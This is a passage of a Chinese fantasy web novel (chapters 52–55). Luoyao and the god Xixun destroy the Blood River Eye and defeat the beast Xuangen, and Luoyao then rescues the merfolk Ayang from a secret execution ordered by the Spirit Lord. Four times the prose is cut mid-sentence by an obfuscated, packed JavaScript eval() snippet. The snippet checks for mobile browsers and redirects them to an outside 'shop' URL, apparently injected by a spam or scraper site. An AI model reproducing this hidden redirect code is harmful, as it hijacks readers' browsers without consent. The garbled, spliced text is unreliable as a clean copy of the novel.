她很快记起了方才羲洵和阿漾说的话,血河之眼是上古漩涡,里面栖息着凶兽玄艮。 珞瑶的目光缓缓移动,落到那块巨大的礁石上,那对母女正依偎在上面,仿佛这样就能得到几分来自家园的抚慰。 她陡然意识到什么,大喊:“快躲开!” 几乎是同时,那块礁石突然动了。 空间中暗了几分,无尽的红色向边缘溢流,只见原来的死物竟像活了一般,以肉眼可见的速度迅速变大,生长出鳞片,最后舒展身体,从礁石变成了一只面目狰狞的巨兽。 玄艮被惊醒,发出一声震天动地的怒吼,墨水般的黑气从每一片鳞片下渗出来,而后遍布了整个红色的空间! 镇幽珠从未感知到过如此强的邪元之力,急促地闪起了光,珞瑶头皮一麻,终于在这一刻知道了那阵令她不适的浑浊气息是何方神圣,卷入漩涡前的疑惑也有了答案——玄艮哪里是天生凶兽,是邪元之力入侵了,让极其霸道的高阶幽祟寄生在了它身上。 所谓给予鲛族福运的血河之眼,竟然是幽族吸食生灵性命的恶窟! 玄艮被幽祟寄身太久,早已变成了一具只会攻击的夺命机器,见新的“贡品”出现,立刻向几人袭来。 巨兽口中喷出黑水,其威力之盛,足以将一只普通鲛灵侵蚀殆尽,珞瑶闪身避开,将镇幽珠引向高空。 眨眼的功夫,轻光绫飞出去,卷起母女鲛灵抛到了她身后,珞瑶直直挡在她们面前,炎庚会意,自侧面向玄艮出招。 一时间,整个漩涡都跟着颤抖起来。 两人配合得当,莹蓝色的光与暗红色交织,让玄艮腹背受敌,然而没过多久,镇幽珠的光芒就有了削弱的态势。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403668|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 炎庚震惊不已,下意识看向珞瑶,后者面上却没有半分惊诧,透着难以言说的凝重。 一滴心头泪能使镇幽珠恢复部分力量,但终究作用有限。他们被困在漩涡里,又无法彻底消灭玄艮,与其过招不过是拖延时间,实际上没有任何希望。 半炷香过去,巨兽愈战愈勇,始终不见疲态。珞瑶被扑面而来的黑气逼退,回过头,望向那个被封印了的漩涡口。 她怕是没办法救母女出去了,自己死后,镇幽珠会随新的圣女重降世间。 也许那时万象更新,它的力量也会恢复…… “轰隆——” 一声巨响打断了珞瑶的思绪,在海底,她竟听见了风雷之声。 耀日光芒倏忽闪过,在天顶显现,从分散的微尘不断积聚,最后聚拢,化作鎏金剑锋的形状。 同尘剑! 珞瑶心头大震,那抹金辉遮蔽天地,让那强势的红光都黯然失色,随后,庞大的剑影冲入风暴,竟直直插进漩涡眼,将整个血河之眼贯穿! 整个空间轰然碎裂,漩涡停止了吸卷,海水疯狂地涌进来,如猎猎飓风袭过人的耳畔。 浓雾为金芒驱散,羲洵的身影出现在了混沌中,他执剑站在风暴中央,衣袂翻飞。 与此同时,星辉石矿脉上空绵延千里的红色血雾,亦如雨过天晴般消失了。 …… 血河之眼被毁,玄艮身上的黑气涌入深海,鲛族受惊,纷纷四散逃窜。 若让它一直留在海中,恐有大量无辜生灵要遭其毒手,鲛族矿脉亦要受损。 羲洵以同尘剑的光亮为饵,将其引出海面,来到了一处与世隔绝的荒岛。 现在没了要保护的鲛灵,又多了羲洵的帮助,珞瑶终于能够全力应对眼前的凶兽,她再度驱动镇幽珠,完全激发出它剩余的力量。 上古巨兽的现世改变了周遭的气候,使山中飘起大雪,雪花为邪力所污染,落在地上成了黑泥。 羲洵盯着那凶兽,提醒两人:“玄艮会隐去身形,血河之眼里空间狭小,它应该无法施展,但现在未必。” 每一只上古兽都身怀异能,如缃雀可听问天命,玄艮则有隐身的本领。 炎庚始终跟随珞瑶,两人错落着出招,使玄艮的火力不能集中到一处,羲洵则为珞瑶护法,向她输送源源不断的神力,又在玄艮暴怒失控时出手,给予它沉重一击。 镇幽珠坚持不了太久,他们力求速战速决,但这种极高阶幽祟又很是难缠,加之玄艮具有隐身异能,就变得越发难以对付了。 巨兽身形庞大,却形如鬼魅,前一刻消失在人面前,转瞬就出现在了身后,令人防不胜防。 炎庚为其所伤,身上已然血迹斑驳,珞瑶的裙角也被染红,终于在漫长的纠缠和等待后抓住机会,袭向玄艮的面门—— 轻光绫飞了出去,如破虹之箭,将玄艮周身的黑雾击了个粉碎。 珞瑶落地,丝丝缕缕的浅金光自她周身散去。 世界归于平静。 炎庚受伤最重,靠在树下晕了过去,珞瑶查看他的情况,探出他性命无虞,这才心下稍安。 他元神受损,最好快些回冥界疗伤。 羲洵在旁边看着,属于神的理智再次以压倒性胜利战胜了情感。 他语气平静,说出了那句话:“阿瑶,你先带他走吧。” 53. 血海沉舟(四) 为了消灭玄艮,羲洵将大量神力都输送进了珞瑶体内,但毕竟是神族,即使毁去了上古漩涡,又参与交战许久,脸色还是要好不少。 珞瑶正想点头,忽然顿住了。 遍山大雪,草木荒芜,重伤…… 一段尘封的记忆骤然闯进脑海,震动了珞瑶的心,她还记得,这场梦是自己在冥界的尽欢楼时出现的。 梦里,她身边的人依然是羲洵和炎庚,环境也与现在一模一样,只是镇幽珠比现在更衰弱,羲洵也伤得更重。 她带着炎庚先行离开,后来,沧丞到这里找到了羲洵,带他回了神山。 自那次后,她已经许久没有做过梦,而今日的种种情景,却再度与过往梦境重叠了。 珞瑶思绪纷乱,但现实摆在眼前,炎庚的状况已经不能再继续耽搁了。 她将脑中乱七八糟的念头驱逐出去,几乎没有迟疑,再次向炎庚伸出了手——就像梦中一样。 …… 冰雪飘洒着落地,随着珞瑶远去,她的气息变得越来越淡。 最后一缕消散的时候,羲洵倒了下去,强撑许久,终于暴露了自己脆弱。 他手上一松,同尘剑随之隐去,化作了一抹金辉。 毁去一个上古漩涡对修为的要求极高,他可以做到,代价是血河之眼中蕴含的力量会悉数反噬到他身上,加上对付玄艮消耗的、之前积攒下没有养好的…… 新伤旧伤交加,注定不会让他好过。 传音蝶从袖中飞出,飘向神山的方向。羲洵坐在枯树下,感受着自己体内元神的薄弱,神力紊乱得像一盘散沙。 这一次,他还是做出了同样的选择,珞瑶也一样。 一切仿佛都没有改变。 羲洵咳了两声,铁锈味在口中弥漫开来。尽管知道自己不该为此伤神,但在回到神山之前,他允许了自己短暂的沉沦。 这唯一一丁点自由,建立永远不许在行差踏错之上。 雪下得很大,没过多久就覆盖了打斗时留下的狼藉,落在枝梢上、树根下。 溪水缓慢流动,表面结了一层冰茬,将他的衣角挂了进去。羲洵没有动,任由清溪浮流,在他衣上留下冰凉的水痕。 这里没有别人,他不需要保持什么端方克制的仪态了。 细碎的雪花纷扬着飞下来,落在他眼睫、身上,又悄然融化,带来一阵潮湿的凉意。 某一刻,那阵微凉消失了。 冰片和雪沫不再融化,凝在他肩头,那些留在他肩头的水渍也停止了扩散,悄然缩小,最后再也看不见。 是避水诀。 一道光晕急转而下,在看清来者后,羲洵怔愣半晌,意外地睁大了眼,“你怎么……”回来了? 冥、灵两界乃是邻界,说来也巧,珞瑶刚到边境,就在路上遇到了准备来灵界寻找炎庚的手下。 之前羲洵的灵台就很虚弱,如今又毁了血河之眼,必定受了内伤,对此,珞瑶岂会不清楚,于是她将炎庚交给了手下,便调转方向沿原路走,又回到了这里。 谁知神君好雅兴,不说调息灵力,独自在这里淋雪。 她径直走到他面前,声音微低,“发什么疯?” 珞瑶的语气没有质问之意,却带着明显的不赞同,轻皱着眉,“受了多重的伤,连避水诀都不会用了?” 说着,她半跪下来,将他垂入溪流的衣摆捞了出来。 羲洵盯着她的脸,轻声说:“你自己来看。” 像是难得见他如此坦诚,珞瑶神色不明地望他一眼,果真又上前了一些。 她伸出手,没等摸到羲洵一根汗毛,反被他握住了手腕,用力一拉。 珞瑶惊了惊,身体不可控制地向前倾,被他紧紧拥进了怀里。 大雪不见停歇,却绕道而行,为他们留出了一片天地,羲洵抱得很用力,几乎抑制不住失而复得的欢欣和满足,口中的血腥气都变淡了。 他以为她带着炎庚离开,不会再回来。 可是这次,她却去而复返了。 羲洵眼眸发热,声中压抑着控诉,“我才叮嘱过你血河之眼的危险,你就当耳旁风了。” 珞瑶听了出来,羲洵在算前面的账。的确,当时他分明提醒过,而她也确实没有听,就那么不计后果地冲了进去。 她放松了身体,“总不能看着那对母女送死。” 羲洵当然知道不能看着她们送死,甚至当时他的第一反应也是追进去,但理性回来得快,驱使他停了下来,留在外面想办法。 珞瑶没有错,她做了自己该做的事,只是这件事有些危险。 这是不可避免的。 听着她咚咚的心跳,羲洵的郁气渐渐平息了,其实他还有话想说,在口中打转片刻,终是没有提起。 还能说什么呢?告诉她“我早知道里面有幽祟”、“我本打算将玄艮引出来对付”? 听起来像大言不惭的马后炮,不仅不讨人喜欢,还很令人恼火。 两人分开,珞瑶探了他的灵台,结果不出所料。 她替他调息,问:“你之前去过海底?” 羲洵脑子慢了一下,摇了摇头。 “那你是怎么知道血河之眼里有上古巨兽的?” 珞瑶问,那双灰蓝色眸子仿佛能洞察人心。 羲洵一下子就清醒了,匆匆回答:“……只是印象中记得,许是之前在哪本古籍里看到的,又或是听沧丞他们说过。” 他移开了视线,珞瑶定定望了他须臾,没有再问下去。 羲洵的内伤很严重,珞瑶替他疗伤片刻,依然治标不治本。 她停下来,羲洵身形晃了晃,唇角渗出一丝血迹,又被他立刻擦去了。 珞瑶倾身,像沈流玉对待明璟那样上前,与他额头相贴。 雪渐渐停了,太阳从山间升了起来。羲洵的心热得发胀,那一刻情不自禁,问出了那个早就想问的问题。 “阿瑶,是谁打开了你的情窍?”他声音发哑。 你觉得是谁? 咫尺之间,珞瑶感受到他本能放轻的吐息,带着不自知的紧张。 她眸色暖了暖,正想开口,余光一扫,却见沧丞出现在几步之外,不知在那里看了多久。 “你们把我叫到这鸟不拉屎的地方,就为了请我看这个啊?” 水神看了看羲洵,又移向珞瑶,表情麻木。 …… 沧丞满心怨气,但在查看过羲洵的伤势后就蔫了下去,再也不闹了。 回到神山,羲洵身上的神力波动过于强烈,如无序的潮水,惊动了所有神明。 沉泽宫外,朝梧面色凝重,“怎么会这样?炼制诛邪鼎,绝不会对他造成如此大的伤害……” 六界之大,他们想象不到有什么东西能重创羲洵至此,即便是毁了一个上古漩涡,可神明之体坚韧无比,就算负伤,也多少有个度。 他到底背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409586|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人做了什么大事? 沧丞越想越沉不住气,“我去问他。” 说着他就要起身,朝梧眼疾手快地拦下,“他现在最是需要凝神静息的时候,你去岂不是扰乱他?不妨过一段时日再提。” 众神议论着,唯独羲泠站在边缘,一言不发。 沧丞看见了,问:“羲泠,你可知道其中缘由?” 羲泠袖下的手细微地颤了一下,而后立刻摇了摇头,她垂下眼睛,“现在不是在蓬莱的时候,他不会做什么事都告诉我的。” 沧丞原本还有些怀疑,听后也泄了气。 羲泠这样说了,眼眸却悄然不安地晃了晃。他出关时灵台还算安稳,但如今力量消耗太大,恐怕又…… 思及此,羲泠怀中明光一闪,清月琴便出现了。 “我去看看他。”她道。 …… 沉泽宫,院子里流水静缓,几丛青竹也蔫蔫垂着头,透着冷清。 结界有所感知,默许了来者的进入。羲泠抱着琴一路走进内室,穿过十二方丝屏,看见他正靠在高大的青玉柱下,低垂着头。 灵力芜杂,在空荡荡的内殿里乱涌,搅得满室帷幔不得安宁。 赶来时羲泠就听说了,这次他们在灵界消灭了一只极高阶的幽祟,羲洵怕珞瑶奔波,坚持让她回了澜渊,可是以他的性子,什么时候主动赶珞瑶走过? 他分明是坚持不下去了,不愿让珞瑶看见他过于狼狈的模样。 羲泠心中如明镜一般,她僵立片刻,终是什么都没问,沉默着拨起了琴弦。 音律神极擅医术药理,六界无人可与之比肩。曲调响起,羲洵只感到一汪清透的涟漪涌入身体,如云雾般轻柔,徐徐包裹住了他的灵台。 一炷香过去,羲洵好转许多,浮荡在内室的灵力也受到安抚,重新汇进了他体内。 流乱平息,羲泠的声音在空旷中响起,“他们已经察觉了,你想好该怎么应对了吗?” “血河之眼的威力过于大,我没能避开,有什么问题?” 羲洵明白她的意思,声音温和如昔。 在这世上,上古存留的遗迹已经极其稀少,更别说是海底漩涡,而且血河之眼已经消亡,就算沧丞他们有所怀疑,也无处查证了。 “……只有这样了。”羲泠说。 从最初得知时的激动、不平,到现在的妥协,甚至帮忙遮掩,羲泠已不愿再责问、抱怨什么,这是她对“兄长”的尊重,亦是神性指引下的选择。 她无法替羲洵承受什么,唯有这样做。 羲泠轻轻开口:“你整日这样折腾自己,我什么时候才能治好你?” 她的话语并非指责,只是有些疲惫,有些无可奈何。 羲洵一怔,随后面有动容,“阿泠,辛苦了。” 又来了…… 其实羲泠最讨厌他说这些话,烦闷地吸了口气,“下次天雷来的时候,你定要守住灵台,否则……” “我明白。” 日头正好,晴光照进了屏风里,驱散了不安。 身边,少女垂着眼帘,羲洵想像从前那样摸一摸她的头发,他伸出手,掌心停留在距离她发顶一寸的位置,却没有落下来。 “放心,这次我们不会再输了。”他说。 是兄妹的亲近,亦是神族之间的点到为止。 羲泠的眼眶忽然湿润了。 她愣了半晌,回过神后,用力点了点头。 54. 血海沉舟(五) 与炎庚和羲洵相比,珞瑶受伤较轻,但也需要耗时间修养。她回到澜渊调理灵力,等到再次出关,已是三月之后了。 殿外铃兰声响,传音蝶从外面飘进来,扑扇着翅膀停在了珞瑶指尖。 原来灵蝶来自沉泽宫,是羲洵为向她报平安传来的。修养数月,他的元神已无大碍,后续会继续引召天雷,与众神炼化诛邪鼎。 为免神力溢流,沉泽宫结界将会彻底封印,所以,他们应该要许久不能见面了。 珞瑶指尖微动,传音蝶便轻盈地飞起来,消失在了浮空里。 她记住了去海底的路线,这一次独自行动,复又下潜,来到了星辉石矿脉附近。 血河之眼被摧毁后,先前浮于矿脉上空的红色雾气也悉数散去,从海岭边远眺,能将整片矿脉的景象都尽收眼底。 星辉石在每年冬季成熟,如今尚未到开采之时,只看见一众鲛灵漂浮在血珊瑚附近,无声守卫着矿脉。 对于雾河泥究竟是什么东西,珞瑶暂时没有头绪,但既然已经锁定了地点,就可以常来探索一番。 总会有发现的。 镇幽珠毫不意外地发起了光亮,她正欲游向血河,不远处忽然响起了两道惊喜的声音,“是圣女!” 珞瑶回头,发现居然是上次被卷入血河之眼里的那对母女。 两只鲛灵游到珞瑶面前,对着她千恩万谢。如果没有珞瑶,她们早就在漩涡中葬身于幽祟之口,哪里有死里逃生的机会? 见珞瑶又来到海底,少女鲛灵好奇:“圣女是不是要去矿脉那里?” 珞瑶应了,年长的母亲鲛灵忙劝说:“最近风头未过,圣女最好还是不要进去了。” 风头? 珞瑶有些不解,少女鲛灵接过母亲的话,解释道:“族灵大多感念圣女和神君救出我和母亲,又为海底消灭了潜藏的幽祟,但血河之眼被毁后,有些族灵很固执,至今还是无法接受……” 她言语含蓄,但珞瑶很快就理解了。血河之眼曾被鲛族视为信仰,如今骤然得知里面藏有幽祟,信仰崩塌,一时难以接受是件太正常的事了。 珞瑶清楚,若她现在露面,很可能会引起不必要的麻烦。届时海中因此而动荡,穆颐那边亦会作难,倒不如她先行离开,他日再来找寻。 六界皆对幽祟深恶痛绝,鲛灵们现在想不开,相信终会随时间流逝而释怀。 思及此,珞瑶告别了母女鲛灵,转身向海面游去。 …… 镜花得知珞瑶又去了海底,早已在岸边等候多时了,见她出了海面,忙向她招手,“殿下,我在这儿呢!” 珞瑶不知镜花为何会来找她,镜花面上有焦急之意,说:“我是来给殿下报信的。” 镜花总算找到了珞瑶,他带着急事而来,也不卖弄风情了,开口便进入正题。原来那天血河之眼被毁后,阿漾还没回浮翠岛,就被奉命赶来的灵族守卫抓了起来,秘密关进了边境岛屿上的水牢。 她被带走时,镜花在附近游荡闲逛,因缘巧合下正好撞见,又侥幸没被发现,这才有了偷偷来告诉珞瑶的机会。 珞瑶听后微惊。已经过去了好几个月,但她对这件事闻所未闻,可见浮翠岛当真是在秘密行动。 “你可听清了当时她们说的话?”珞瑶还有些怀疑。毕竟阿漾已是灵君座下的内官,会不会是她做事时犯了错,所以才被关了起来? “我听得清清楚楚!那些守卫来时本来什么都没说,是阿漾一直在挣扎,她们才说了什么‘血河之眼因你而毁’。” 镜花信誓旦旦,没有半分犹豫,说完又有点胆怯,弱弱问珞瑶:“殿下,是不是血河之眼的事惹恼了灵君,她又不敢找你和神君算账,所以就迁怒了阿漾啊?” 珞瑶的脸色不太好,对他道:“我去浮翠岛,亲自找穆颐说。” …… 珞瑶的动作很快,没过多久就来到了灵宫地界,穆颐对她的到来很是意外,令侍从准备了露酒和点心,不敢有半分怠慢。 “圣女这次前来,可是有要事相商?”穆颐问。 于是珞瑶也开门见山,“我听闻阿漾被关进了边境水牢,不知是否属实?” 穆颐显然没想到她是从何处得到的消息,神色僵了一瞬,随后只有硬着头皮,应道:“确有此事。” 珞瑶:“进入星辉石矿脉是我的主意,摧毁血河之眼更非她的过失,还请灵王放她一命。” “我也不愿关押她,只是鲛族失去了血河之眼……” “这并非阿漾所为,况且漩涡中藏有幽祟,摧毁乃是不得已而为之。” 穆颐劝慰:“圣女稍安勿躁,我知镇压幽祟十万火急,但眼下鲛族群情激愤,唯有暂时拿出一个交代,才能……” “发落一个无辜的阿漾,便是浮翠岛给予的‘交代’?”她的话被珞瑶打断。 穆颐登时哑口无言。 气氛如雪堆般凝滞,珞瑶的脸色也冷了几分,“看来灵王没有足够说服我的理由。” 那次进入海底,阿漾是她叫来引路的,进入星辉石矿脉也是由她最先提出,阿漾只不过是碍于她和羲洵的身份,所以只有照做。 这是上界的责任,珞瑶无法眼睁睁看着阿漾被治罪,从始至终,她都是最无辜的。 僵持之际,一道轻柔悦耳的声音响起来,“是我下的抓捕令。” 几层高阶上,帷幔掀开,灵君月出晓露了面,一袭衣裙白如霜雪,缀着冷玉和珍珠。 她身后,侍女和内官恭恭敬敬侍立,为她捧起曳地的裙纱。 月出晓站在阶前,神情浅淡,仿佛连呼吸都是提前安排好的,不会有半点出错。 “阿漾玩忽职守,理应受罚。”她说。语调依旧像在灵犀屿露面时那样,无波无澜。 穆颐的一番说辞刚过,可这又是另一个理由了。 珞瑶转过身,心下发沉,记得阿漾分明说过,那天是她的休沐日。 珞瑶直接捅破了窗户纸,问道:“敢问灵君,休沐之日,何来玩忽职守一说?” 帷幔被风吹动,影影绰绰的阴蔽下,灵君的脸色似乎暗了一分,“浮翠岛内部之事,圣女就不必干预了罢。” 月出晓没有费力辩驳,而是用内政为由来压她,然而珞瑶也没有退让,态度强硬。 天地间不会有族界想与澜渊圣境交恶,穆颐见势不对,忙走到珞瑶面前,试图打圆场,“圣女不知,鲛族对血河之眼甚为看重,如今被毁,但上界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413267|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不便为此出面,将阿漾推出去是最好的办法,相信鲛族待本族族灵总会更宽容一些……” 珞瑶否定了她的话,“谁说上界不便出面?无论澜渊还是神山,都敢做敢当。” 情窍开启后,珞瑶变得越来越厌恶那些冷漠的政治博弈。上界行正当之事,竟要为了保全所谓的体面,推出一只无辜的精灵做替罪羊? 若连澜渊和神山都开始效仿此道,今后还有谁会相信上界,信任他们会庇护苍生? “望灵君放无辜者一条性命,饶过阿漾。” 珞瑶的目光重新落回到高阶方向,重新提出了自己的条件,“血河之眼为上界所摧毁,若灵界需要天材地宝以平鲛族之愤,澜渊自当承担。” 帷幔垂下去,月出晓的面容变得朦胧,看不清神色。 殿中安静下来,无人出声。 许久,月出晓才回应:“好。” 她开口,像是达成了妥协,珞瑶不禁意外了一瞬,就连穆颐都诧异地抬起了头。 月出晓向旁边伸出手,很快就有内官会意,为她奉上朱笔,她在空中写了两字,一道灵君令旨便诞生了。 是传往水牢的释放令。 “三日后,她便自由了。”月出晓道。 …… 珞瑶得到了满意的答复,便也不再多留,穆颐恭送圣女离去,回来后看见月出晓,面上多了几分喜色。 她没想到月出晓会这么容易松口,忙道:“君上想通就好,我这就赶去边境,将阿漾放出来。” 穆颐接过浮在空中的释放令,正要出宫去,却被一层屏障拦住了去路。 她愣了愣,突然听见手心传来一星破碎的声音,低头一看,那原本完好无损的灵君令旨竟然像瓷片一样迅速开裂,最后碎了一地! 穆颐大震,抬头望向阶上女子。 月出晓指尖撩起纱幔,从内间走出来,“释放,她就能活着走出去?” 穆颐隐隐意识到什么,神情变得难以置信,“君上的怒气还未平息吗?可阿漾到底是无辜的,鲛族不会想要看着她送命。” 她想劝阻,月出晓却很平静,似乎没有因她的话产生一丝动摇。 “夫子忘记了,水牢里关着什么精灵?” 月出晓走到穆颐身旁,缓缓绕过她,“还是说,夫子也想让我万劫不复呢……” 妇人发髻斑白,此刻却因少女打了个寒噤。 水牢里都关押着哪些精灵,穆颐心知肚明,可阿漾不同,她被守卫严加看管着,根本不可能摸到那些秘辛。 穆颐闭上眼,“若是从前,君上定会恻隐三思。” 这一次,月出晓没有回应,走到窗边望了望,眼前全是不痛不痒的虚无。 “夫子,去罢。” 她的声音毫无起伏,明明音色柔和,却让人感到一种彻骨的冷漠。 穆颐的心沉下去,那种陌生的感觉再度纷沓而来。 她不明白,为何灵君一定要对一只小小的鲛灵赶尽杀绝,心怀悲悯,与灵为善,这分明才是她传授的道理…… 可是,眼前的少女已是灵君,她只有照做。 “臣明白了。” 穆颐后退一步,终究向少女低下了头。 55. 血海沉舟(六) 三日后,释放令生效,深夜,灵王独自来到了边境水牢。 守卫侍立在牢狱两侧,纷纷向穆颐行礼,后者经过重重牢房,一路来到了关押阿漾的地方。 阿漾在里面被关了太久,早已没了挣扎的力气。她被锁链捆着双手,下半身无力地漂浮在浑浊的水中,黛紫色鱼尾上沾满淤泥,失去了原本的光泽。 见到穆颐,阿漾从昏睡中醒来,前者望了望她,叫来了守卫。 牢房门打开,阿漾手上的锁链随之而断。 穆颐道:“灵君放了你,你走吧。” 被关进水牢后,阿漾本以为难逃一死,如今竟然等到了转机。 她喜出望外,眸子如烛火般亮起了希望,撑着力气出水,连声向灵君、灵王谢恩。 深沉的雾云笼罩着天空,不见夜月。 阿漾被放了出去,拖着疲惫的身体向水牢远处前行,希冀找到一处岛屿边缘的海岸,能让她游回家。 身后,水牢渐渐看不到了,穆颐遥遥跟在后面。 一瞬间,她突然出手,只见无数粗壮的树藤从地面腾空而起,向阿漾窜过去! “呃——!” 阿漾毫无防备,直接被缠住了鱼尾,跌倒在了地上。 灵光照亮了她惊惶苍白的面庞,树藤继续向上蔓延,片刻就将她包裹缠绕住,不断收紧。 事到现在,阿漾还有什么不明白的?原来灵君根本没想过放过她,而她不过是充当了引路灯的作用,带着圣女和神君去了海底。 阿漾的呼吸越来越艰难,“为什么……” “我会补偿鲛族。” 穆颐眼底闪过复杂的痛色,驱动着吸取寿元灵力的藤蔓,最后加重—— “你敢!” 一声暴喝,浮光绫罗破空而来,骤然抽断了重重树藤,穆颐不可控地向后倒退,险些被犹带怒气的灵波掀翻! 雾气和阴云顷刻被驱散,突现的莹光代替了月亮,照出一片不夜天。 大风扬起来,穆颐惊疑未定,稳住身形后立刻回头,竟然是珞瑶及时赶到,身后还跟着那只灵犀屿的桃花灵! 阿漾险些丢了小命,早已晕过去,珞瑶脸色发青,忍着怒意,手远远一扬,用灵力将她扶了起来。 那天灵君是答应了她要释放阿漾,可她总觉得不对劲。如果没有镜花提前在这里蹲守,又及时向她报了信,今日阿漾怕是真的会死在穆颐手里。 仗着珞瑶在,镜花的胆子也壮了起来,对着穆颐大声控诉:“君上不是说好会放了阿漾吗,为什么王上又要杀她?” 事已至此,穆颐心知辩解无用,与其负隅顽抗,还不如尽早就范,将事了结在自己一人身上…… 情急之下,她俯首下去,连声哀求:“所有都是我的主意,君上毫不知情,圣女要罚就罚我一人吧!” 珞瑶是动了气,但即使她是圣女,也无权干预灵界内政,更别说直接责罚灵王,而且,穆颐在灵界民间颇受赞誉,以仁德治理族界,绝非伯池那样罪孽深重。 这其中应有隐情。 珞瑶放下阿漾,声音从喉中挤出来,“你最好能告诉我一个合理的解释。” 穆颐眼中划过挣扎,一时未能开口,珞瑶面色冷然,“你若不说,我便去亲自问一问月出晓,看她能给我怎样的理由。” 说完,她作势要离去,穆颐生怕矛盾升级到不可调和的地步,急声道:“圣女留步!” 珞瑶虽然恼怒,但确实停下了,像是想再给她一个机会,等待她交代。 夜风带起一阵寒凉,穆颐徘徊再三,哑声开口,“边境水牢是灵君用来关押重犯的地方,有一些精灵常年被囚禁在那里,是灵君继位后发落的旧臣。” “我担心旧事暴露出去,一时犯了糊涂,所以才想对阿漾下手……” 她说得隐晦,但珞瑶曾在辛夷城朝堂浸淫多年,一下子就明白了。 想必月出晓继承界主之位时筹谋过不少政治争斗,而那些所谓的“旧臣”,便是争斗中最终落败的一方。 穆颐将过错全部揽于己身,珞瑶居高临下望着她,不知是夸赞还是讽刺,“月出晓有个忠心的臂膀。” 穆颐无言以对,将肚中所有的苦水都咽了回去,那满头花白的发髻如同染了霜色,看上去疲倦不堪。 她做出了抉择,恳求道:“圣女,你带阿漾走吧,将她秘密放归大海,今后永远都不要再来到陆地上。” 就算她不说,珞瑶也会这么做的,总不能再将阿漾送回浮翠岛。 “你可有悔?” “……后悔万分。” 珞瑶眼中多了几分复杂,垂眼望着妇人,“我每次来到灵界,不管去哪个岛屿,精灵们总会拿出她们最好的食物和鲜花,我说什么,问什么,她们都知无不言,言无不尽,哪里出了乱子,她们也彼此团结相助,说都是族灵,没有相互坑害的道理。” 寂空下,荒原空无一人,她声音冷清,“我以为整个灵族都是如此纯粹,今日才发现,有一处变质了。” 穆颐听懂了珞瑶的未尽之言,眼眸发颤。 她想反驳,话语却都凝在了嗓子眼,一句都说不出口。 …… 那日珞瑶治好阿漾的伤,将她放回了大海,之后便回了澜渊圣境。 近来六界太平无事,各界圣使时常上澜渊向圣女奏事,或是入落霞谷修炼,唯独冥界圣使仍在养伤之中,久未露面。 这天,冥界传来了音信,珞瑶来到炎庚的府邸,看见他正醒着,独自靠在榻上。 数月过去,他的伤已经好了大半,想必再修养一段时日便能尽好。 “要看看最近冥界的奏报么?”炎庚问。 桌案上放着一沓犹带寒气的文书,应该是他先前设置的镇幽结界传回来的奏报,用于监控冥界各处安危。 珞瑶拿起来翻阅,其实在过来的路上,她就已经留意观测了沿途的情况,结果是没有感知到任何邪元之力的气息,可见冥界最近很是安定。 两人有一搭没一搭地说着话,炎庚心情不错,须臾,终于将那个问题问了出来:“镇幽珠到底出了什么事,现在总能告诉我了吧?” 珞瑶就料到他一定会问这件事,翻看文书的动作稍顿。 上次在灵界制服玄艮,镇幽珠的衰弱就已经暴露在了他面前,隐瞒也是无用。 “如你所见,它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417768|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力量发生了衰退。”她坦白道。 这是显而易见的。 炎庚无奈,耐心地追问:“原因呢?” 珞瑶摇了摇头,表示不清楚。 炎庚迟疑,“那……找到解决的办法了吗?” 珞瑶点头。 这下炎庚舒了口气,毕竟幽祟时而入界,六界的安宁可都指着那一颗珠子呢。 “所以这些年,你和众神就是在为这件事奔波吧。” “嗯。” “下凡渡劫也是?” 得到珞瑶肯定的回应后,原先存在他心里的那些疑虑全都说得通了,炎庚一下子恍然,他猜得还真准。 “放心,上司告诉我的秘密,我定会好好保守的。”炎庚懒洋洋打了个哈欠。 门外的侍卫早被他打发出去了,在他的府邸,隔墙没耳。 “你不担心?”珞瑶问。 “担心什么?” 珞瑶垂了垂眸子,手上又翻了一页文书。 镇幽珠力量减弱,澜渊便没有了倚仗,倘若冥界发现了如玄艮那样高阶的幽祟,他未必能全身而退。 也许会像这次一样重伤,也许…… 炎庚像是领会了她的意思,轻笑起来:“不是还有你吗。” 她吗…… 